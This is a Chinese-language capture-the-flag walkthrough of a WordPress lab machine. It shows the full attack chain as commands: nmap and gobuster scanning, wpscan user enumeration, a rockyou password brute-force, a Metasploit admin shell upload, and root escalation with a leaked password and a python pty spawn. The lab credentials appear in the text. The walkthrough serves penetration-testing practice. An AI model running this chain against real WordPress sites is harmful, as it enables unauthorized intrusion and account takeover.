工具及漏洞信息#
- netdiscover
- nmap
- gobuster
- wpscan
0x01 資訊收集#
掃描靶機#
netdiscover的-r參數掃描192.168.1.0/16結果如下:

nmap掃描主機及端口資訊:
nmap -sS -A -n -T4 -p- 192.168.1.7

掃描漏洞#
這裡使用了nmap的vulscan腳本:
cd /usr/share/nmap/scripts/
git clone https://github.com/vulnersCom/nmap-vulners
nmap --script nmap-vulners -sV 192.168.1.7

看起來很多,測試了最新幾個 CVE,均無法利用
掃描路徑#
gobuster掃描路徑:
gobuster dir -u http://192.168.1.7 -s 200,301,302 -t 50 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
這裡使用的字典是kali自帶的,如果沒有可以通過apt-get install wordlists -y安裝

打開主頁:

提示我們wordpress目錄易受攻擊,於是我們打開看看
0x02 普通用戶 getshell#
這裡我也遇到了大佬們說的雖然靶機資訊說的支持DHCP
但是訪問靶機ip/wordpress會跳轉到192.168.56.103
其實我們不訪問wordpress界面也能進行下去,我這裡就不折騰了
先給wpscan申請一個wpvulnhub的API,然後掃描:
wpscan --url http://192.168.1.7/wordpress/ -e at -e ap -e u --api-token xxxxxxxxxxxx
- -e at: 掃描所有主題
- -e ap: 掃描所有插件
- -e u: 掃描用戶
掃描到 4 個可能的漏洞:

掃描出一個用戶c0rrupt3d_brain:

掃描出用戶就可以接著爆破密碼,kali自帶字典/usr/share/wordlists/rockyou.txt
如果沒有可以從這裡下載
wpscan --url http://192.168.1.7/wordpress/ -U c0rrupt3d_brain -P /usr/share/wordlists/rockyou.txt -t 50
爆破實在太慢了,得到密碼為:24992499,帳戶密碼都得到了,上msf:
use exploit/unix/webapp/wp_admin_shell_upload
set rhosts 192.168.1.7
set targeturi /wordpress
set username c0rrupt3d_brain
set password 24992499
run

獲得的meterpreter會話:

0x03 提權 root#
可以直接在meterpreter查看目錄文件:

成功獲取到root的密碼willy26,切換帳號登錄
進入shell,發現是老朋友 “無輸出” 環境,使用python獲取tty:
shell
python -c 'import pty;pty.spawn("/bin/bash")'

然後切換至root帳戶並成功獲取flag:

參考文章:
本文完。
本文完。
